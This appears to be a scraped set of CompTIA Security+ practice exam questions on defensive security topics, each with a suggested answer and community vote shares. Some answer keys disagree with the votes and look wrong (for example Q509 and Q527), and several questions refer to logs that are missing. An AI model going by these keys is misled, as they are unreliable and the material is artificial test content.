Topic #: 1
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A digital forensics team at a large company is investigating a case in which malicious code was
downloaded over an HTTPS connection and was running in memory, but was never committed to
disk. Which of the following techniques should the team use to obtain a sample of the malware
binary?

• A. pcap reassembly
• B. SSD snapshot
• C. Image volatile memory
• D. Extract from checksums

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 489
Topic #: 1
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A technician is setting up a new firewall on a network segment to allow web traffic to the internet
while hardening the network. After the firewall is configured, users receive errors stating the
website could not be located. Which of the following would best correct the issue?

• A. Setting an explicit deny to all traffic using port 80 instead of 443

• B. Moving the implicit deny from the bottom of the rule set to the top
• C. Configuring the first line in the rule set to allow all traffic
• D. Ensuring that port 53 has been explicitly allowed in the rule set
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Suggested Answer: D 🗳🗳

Community vote distribution

D (100%)

Question #: 490
Topic #: 1
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A systems administrator works for a local hospital and needs to ensure patient data is protected
and secure. Which of the following data classifications should be used to secure patient data?

• A. Private
• B. Critical
• C. Sensitive
• D. Public

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Suggested Answer: C 🗳🗳

Community vote distribution

A (100%)

Question #: 491
Topic #: 1
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A small business uses kiosks on the sales floor to display product information for customers. A
security team discovers the kiosks use end-of-life operating systems. Which of the following is the
security team most likely to document as a security implication of the current architecture?

• A. Patch availability
• B. Product software compatibility
• C. Ease of recovery
• D. Cost of replacement

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)
Question #: 492
Topic #: 1
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During a security incident, the security operations team identified sustained network traffic from a
malicious IP address: 10.1.4.9. A security analyst is creating an inbound firewall rule to block the
IP address from accessing the organization's network. Which of the following fulfills this request?

• A. access-list inbound deny ip source 0.0.0.0/0 destination 10.1.4.9/32

• B. access-list inbound deny ip source 10.1.4.9/32 destination 0.0.0.0/0 Most Voted
• C. access-list inbound permit ip source 10.1.4.9/32 destination 0.0.0.0/0
• D. access-list inbound permit ip source 0.0.0.0/0 destination 10.1.4.9/32

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Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)

Question #: 493
Topic #: 1
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Which of the following is the phase in the incident response process when a security analyst
reviews roles and responsibilities?

• A. Preparation Most Voted

• B. Recovery
• C. Lessons learned
• D. Analysis

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)

Question #: 494
Topic #: 1
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An administrator is reviewing a single server's security logs and discovers the following:
Which of the following best describes the action captured in this log file?

• A. Brute-force attack Most Voted

• B. Privilege escalation
• C. Failed password audit
• D. Forgotten password by the user

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)
Question #: 495
Topic #: 1
[All SY0-601 Questions]
Which of the following can be used to identify potential attacker activities without affecting
production servers?

• A. Honeypot
• B. Video surveillance
• C. Zero trust
• D. Geofencing

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)

Question #: 496
Topic #: 1
[All SY0-601 Questions]
A company wants the ability to restrict web access and monitor the websites that employees visit.
Which of the following would best meet these requirements?

• A. Internet proxy Most Voted

• B. VPN
• C. WAF
• D. Firewall

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Suggested Answer: A 🗳🗳

Community vote distribution

A (69%)
C (31%)

Question #: 497
Topic #: 1
[All SY0-601 Questions]
A security analyst notices an unusual amount of traffic hitting the edge of the network. Upon
examining the logs, the analyst identifies a source IP address and blocks that address from
communicating with the network. Even though the analyst is blocking this address, the attack is
still ongoing and coming from a large number of different source IP addresses. Which of the
following describes this type of attack?

• A. DDoS
• B. Privilege escalation
• C. DNS poisoning
• D. Buffer overflow

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)

Question #: 498
Topic #: 1
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A company needs to centralize its logs to create a baseline and have visibility on its security
events. Which of the following technologies will accomplish this objective?

• A. Security information and event management

• B. A web application firewall
• C. A vulnerability scanner
• D. A next-generation firewall

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)

Question #: 499
Topic #: 1
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Two organizations are discussing a possible merger. Both organizations' Chief Financial Officers
would like to safely share payroll data with each other to determine if the pay scales for different
roles are similar at both organizations. Which of the following techniques would be best to protect
employee data while allowing the companies to successfully share this information?

• A. Pseudo-anonymization
• B. Tokenization Most Voted
• C. Data masking
• D. Encryption

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Suggested Answer: C 🗳🗳

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B (67%)
A (22%)
11%

Question #: 500
Topic #: 1
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A large retail store's network was breached recently, and this news was made public. The store did
not lose any intellectual property, and no customer information was stolen. Although no fines were
incurred as a result, the store lost revenue after the breach. Which of the following is the most
likely reason for this issue?

• A. Employee training
• B. Leadership changes
• C. Reputation damage Most Voted
• D. Identity theft

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 502
Topic #: 1
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A company's help desk has received calls about the wireless network being down and users being
unable to connect to it. The network administrator says all access points are up and running. One
of the help desk technicians notices the affected users are working in a building near the parking
lot. Which of the following is the most likely reason for the outage?

• A. Someone near the building is jamming the signal. Most Voted

• B. A user has set up a rogue access point near the building.
• C. Someone set up an evil twin access point in the affected area.
• D. The APs in the affected area have been unplugged from the network.
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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)

Question #: 503
Topic #: 1
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Which of the following can best protect against an employee inadvertently installing malware on a
company system?

• A. Host-based firewall
• B. System isolation
• C. Least privilege Most Voted
• D. Application allow list

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Suggested Answer: D 🗳🗳

Community vote distribution

C (63%)
D (38%)

Question #: 504
Topic #: 1
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An information security officer at a credit card transaction company is conducting a framework-
mapping exercise with the internal controls. The company recently established a new office in
Europe. To which of the following frameworks should the security officer map the existing
controls? (Choose two.)

• A. ISO
• B. PCIDSS
• C. SOC
• D. GDPR
• E. CSA
• F. NIST

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Suggested Answer: BD 🗳🗳

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BD (100%)

Question #: 505
Topic #: 1
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A customer called a company's security team to report that all invoices the customer has received
over the last five days from the company appear to have fraudulent banking details. An
investigation into the matter reveals the following:

• The manager of the accounts payable department is using the same password across multiple
external websites and the corporate account.
• One of the websites the manager used recently experienced a data breach.
• The manager's corporate email account was successfully accessed in the last five days by an IP
address located in a foreign country.

Which of the following attacks has most likely been used to compromise the manager's corporate
account?

• A. Remote access Trojan

• B. Brute-force
• C. Dictionary
• D. Credential stuffing
• E. Password spraying

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Suggested Answer: D 🗳🗳

Community vote distribution

D (100%)

Question #: 506
Topic #: 1
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An organization's corporate offices were destroyed due to a natural disaster, so the organization is
now setting up offices in a temporary work space. Which of the following will the organization
most likely consult?

• A. The business continuity plan

• B. The risk management plan
• C. The communication plan
• D. The incident response plan

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)

Question #: 507
Topic #: 1
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Security analysts notice a server login from a user who has been on vacation for two weeks. The
analysts confirm that the user did not log in to the system while on vacation. After reviewing
packet capture logs, the analysts notice the following:

Which of the following occurred?

• A. A buffer overflow was exploited to gain unauthorized access.

• B. The user’s account was compromised, and an attacker changed the login credentials.
• C. An attacker used a pass-the-hash attack to gain access.
• D. An insider threat with username smithJA logged in to the account.

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 508
Topic #: 1
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A security analyst is taking part in an evaluation process that analyzes and categorizes threat
actors of real-world events in order to improve the incident response team's process. Which of the
following is the analyst most likely participating in?

• A. MITRE ATT&CK
• B. Walk-through
• C. Red team
• D. Purple team
• E. TAXII

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)

Question #: 509
Topic #: 1
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A network manager wants to protect the company's VPN by multifactor authentication that uses:

• Something you know

• Something you have
• Somewhere you are

Which of the following would accomplish the manager's goal?

• A. Domain name. PKI, GeoIP lookup

• B. VPN IP address, company ID. partner site
• C. Password, authentication token, thumbprint Most Voted
• D. Company URL, TLS certificate, home address

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Suggested Answer: A 🗳🗳

Community vote distribution

C (90%)
10%

Question #: 510
Topic #: 1
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Which of the following terms should be included in a contract to help a company monitor the
ongoing security maturity of a new vendor?

• A. A right-to-audit clause allowing for annual security audits

• B. Requirements for event logs to be kept for a minimum of 30 days
• C. Integration of threat intelligence in the company's AV
• D. A data-breach clause requiring disclosure of significant data loss

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)

Question #: 511
Topic #: 1
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Which of the following cloud models provides clients with servers, storage, and networks but
nothing else?

• A. SaaS
• B. PaaS
• C. IaaS
• D. DaaS

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 512
Topic #: 1
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A marketing coordinator is trying to access a social media application on a company laptop but is
getting blocked. The coordinator opens a help desk ticket to report the issue. Which of the
following documents should a security analyst review to determine whether accessing social
media applications on a company device is permitted?

• A. Incident response policy

• B. Business continuity policy
• C. Change management policy
• D. Acceptable use policy

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Suggested Answer: D 🗳🗳

Community vote distribution

D (100%)

Question #: 513
Topic #: 1
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Law enforcement officials sent a company a notification that states electronically stored
information and paper documents cannot be destroyed. Which of the following explains this
process?

• A. Data breach notification

• B. Accountability
• C. Legal hold
• D. Chain of custody

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 515
Topic #: 1
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A company's help desk received several AV alerts indicating Mimikatz attempted to run on the
remote systems. Several users also reported that the new company flash drives they picked up in
the break room only have 512KB of storage. Which of the following is most likely the cause?

• A. The GPO prevents the use of flash drives, which triggers a false positive AV indication
and restricts the drives to only 512KB of storage.
• B. The new flash drives need a driver that is being blocked by the AV software because the
flash drives are not on the application's allow list, temporarily restricting the drives to
512KB of storage.
• C. The new flash drives are incorrectly partitioned, and the systems are automatically trying
to use an unapproved application to repartition the drives.
• D. The GPO blocking the flash drives is being bypassed by a malicious flash drive that is
attempting to harvest plaintext credentials from memory.

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Suggested Answer: D 🗳🗳

Community vote distribution

D (100%)
Question #: 516
Topic #: 1
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A company has installed badge readers for building access but is finding unauthorized individuals
roaming the hallways. Which of the following is the most likely cause?

• A. Shoulder surfing
• B. Phishing
• C. Tailgating
• D. Identity fraud

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 517
Topic #: 1
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An organization routes all of its traffic through a VPN. Most users are remote and connect into a
corporate data center that houses confidential information. There is a firewall at the internet
border, followed by a DLP appliance, the VPN server, and the data center itself. Which of the
following is the weakest design element?

• A. The DLP appliance should be integrated into a NGFW.

• B. Split-tunnel connections can negatively impact the DLP appliance's performance.
• C. Encrypted VPN traffic will not be inspected when entering or leaving the network.
• D. Adding two hops in the VPN tunnel may slow down remote connections.

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 520
Topic #: 1
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An organization is struggling with scaling issues on its VPN concentrator and internet circuit due
to remote work. The organization is looking for a software solution that will allow it to reduce
traffic on the VPN and internet circuit, while still providing encrypted tunnel access to the data
center and monitoring of remote employee internet traffic. Which of the following will help achieve
these objectives?

• A. Deploying a SASE solution to remote employees

• B. Building a load-balanced VPN solution with redundant internet
• C. Purchasing a low-cost SD-WAN solution for VPN traffic
• D. Using a cloud provider to create additional VPN concentrators

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)

Question #: 521
Topic #: 1
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Which of the following is the best reason to complete an audit in a banking environment?

• A. Regulatory requirement Most Voted

• B. Organizational change
• C. Self-assessment requirement
• D. Service-level requirement

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)

Question #: 522
Topic #: 1
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After a recent ransomware attack on a company's system, an administrator reviewed the log files.
Which of the following control types did the administrator use?

• A. Compensating
• B. Detective
• C. Preventive
• D. Corrective
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Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)

Question #: 523
Topic #: 1
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A technician needs to apply a high-priority patch to a production system. Which of the following
steps should be taken first?

• A. Air gap the system.

• B. Move the system to a different network segment.
• C. Create a change control request.
• D. Apply the patch to the system.

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 525
Topic #: 1
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Several users have opened tickets with the help desk. The help desk has reassigned the tickets to
a security analyst for further review. The security analyst reviews the following metrics:

Which of the following is most likely the result of the security analyst's review?

• A. The ISP is dropping outbound connections.

• B. The user of the Sales-PC fell for a phishing attack
• C. Corporate PCs have been turned into a botnet.
• D. An on-path attack is taking place between PCs and the router.

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 526
Topic #: 1
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An engineer needs to deploy a security measure to identify and prevent data tampering within the
enterprise. Which of the following will accomplish this goal?

• A. Antivirus
• B. IPS
• C. FTP
• D. FIM

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Suggested Answer: D 🗳🗳

Community vote distribution

D (100%)

Question #: 527
Topic #: 1
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Which of the following mitigation techniques places devices in physically or logically separated
networks and leverages policies to limit the types of communications that are allowed?

• A. Host-based firewalls
• B. Access control list
• C. Port security
• D. Least privilege

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Suggested Answer: A 🗳🗳

Community vote distribution

B (100%)

Question #: 528
Topic #: 1
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All security analysts' workstations at a company have network access to a critical server VLAN.
The information security manager wants to further enhance the controls by requiring that all
access to the secure VLAN be authorized only from a given single location. Which of the following
will the information security manager most likely implement?

• A. A forward proxy server

• B. A jump server
• C. A reverse proxy server
• D. A stateful firewall server

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Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)

Question #: 529
Topic #: 1
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Which of the following best describes why a company would erase a newly purchased device and
install its own image with an operating system and applications?

• A. Installing a new operating system thoroughly tests the equipment

• B. Removing unneeded applications reduces the system's attack surface
• C. Reimaging a system creates an updated baseline of the computer image
• D. Wiping the device allows the company to evaluate its performance

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Suggested Answer: B 🗳🗳

Community vote distribution

C (100%)

Question #: 530
Topic #: 1
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A backdoor was detected on the containerized application environment. The investigation detected
that a zero-day vulnerability was introduced when the latest container image version was
downloaded from a public registry. Which of the following is the best solution to prevent this type
of incident from occurring again?

• A. Enforce the use of a controlled trusted source of container images.

• B. Deploy an IPS solution capable of detecting signatures of attacks targeting containers.
• C. Define a vulnerability scan to assess container images before being introduced on the
environment.
• D. Create a dedicated VPC for the containerized environment.

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Suggested Answer: A 🗳🗳

Community vote distribution

A (50%)
C (50%)

Question #: 532
Topic #: 1
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A Chief Information Security Officer (CISO) needs to create a policy set that meets international
standards for data privacy and sharing. Which of the following should the CISO read and
understand before writing the policies?

• A. PCI DSS
• B. GDPR
• C. NIST
• D. ISO 31000

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Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)

Question #: 533
Topic #: 1
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During an internal penetration test, a security analyst identified a network device that had accepted
cleartext authentication and was configured with a default credential. Which of the following
recommendations should the security analyst make to secure this device?
• A. Configure SNMPv1.
• B. Configure SNMPv2c.
• C. Configure SNMPv3.
• D. Configure the default community string.

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 534
Topic #: 1
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Developers are writing code and merging it into shared repositories several times a day, where it is
tested automatically. Which of the following concepts does this best represent?

• A. Functional testing
• B. Stored procedures
• C. Elasticity
• D. Continuous integration

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Suggested Answer: D 🗳🗳

Community vote distribution

D (100%)

Question #: 535
Topic #: 1
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A large financial services firm recently released information regarding a security breach within its
corporate network that began several years before. During the time frame in which the breach
occurred, indicators show an attacker gained administrative access to the network through a file
downloaded from a social media site and subsequently installed it without the user's knowledge.
Since the compromise, the attacker was able to take command and control of the computer
systems anonymously while obtaining sensitive corporate and personal employee information.
Which of the following methods did the attacker most likely use to gain access?

• A. A bot
• B. A fileless virus
• C. A logic bomb
• D. A RAT

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Suggested Answer: D 🗳🗳

Community vote distribution

D (100%)

Question #: 536
Topic #: 1
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Recent changes to a company's BYOD policy require all personal mobile devices to use a two-
factor authentication method that is not something you know or have. Which of the following will
meet this requirement?

• A. Facial recognition
• B. Six-digit PIN
• C. PKI certificate
• D. Smart card

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)

Question #: 537
Topic #: 1
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A critical file server is being upgraded, and the systems administrator must determine which RAID
level the new server will need to achieve parity and handle two simultaneous disk failures. Which
of the following RAID levels meets this requirement?

• A. RAID 0+1
• B. RAID 2
• C. RAID 5
• D. RAID 6

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Suggested Answer: D 🗳🗳
Community vote distribution
D (100%)

Question #: 538
Topic #: 1
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A company must ensure sensitive data at rest is rendered unreadable. Which of the following will
the company most likely use?

• A. Hashing
• B. Tokenization
• C. Encryption
• D. Segmentation

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 539
Topic #: 1
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A security assessment found that several embedded systems are running unsecure protocols.
These systems were purchased two years ago, and the company that developed them is no longer
in business. Which of the following constraints best describes the reason the findings cannot be
remediated?

• A. Inability to authenticate
• B. Implied trust
• C. Lack of computing power
• D. Unavailable patch

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Suggested Answer: D 🗳🗳

Community vote distribution

D (100%)

Question #: 540
Topic #: 1
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A security engineer is concerned about using an agent on devices that relies completely on defined
known-bad signatures. The security engineer wants to implement a tool with multiple components
including the ability to track, analyze, and monitor devices without reliance on definitions alone.
Which of the following solutions best fits this use case?

• A. EDR
• B. DLP
• C. NGFW
• D. HIPS

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)

Question #: 541
Topic #: 1
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A user's login credentials were recently compromised. During the investigation, the security analyst
determined the user input credentials into a pop-up window when prompted to confirm the
username and password. However, the trusted website does not use a pop-up for entering user
credentials. Which of the following attacks occurred?

• A. Cross-site scripting
• B. SQL injection
• C. DNS poisoning
• D. Certificate forgery

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)

Question #: 575
Topic #: 1
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An organization relies on third-party videoconferencing to conduct daily business. Recent security
changes now require all remote workers to utilize a VPN to corporate resources. Which of the
following would best maintain high-quality videoconferencing while minimizing latency when
connected to the VPN?

• A. Using geographic diversity to have VPN terminators closer to end users

• B. Utilizing split tunneling so only traffic for corporate resources is encrypted
• C. Purchasing higher bandwidth connections to meet the increased demand
• D. Configuring QoS properly on the VPN accelerators

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Suggested Answer: B 🗳🗳

Community vote distribution

D (100%)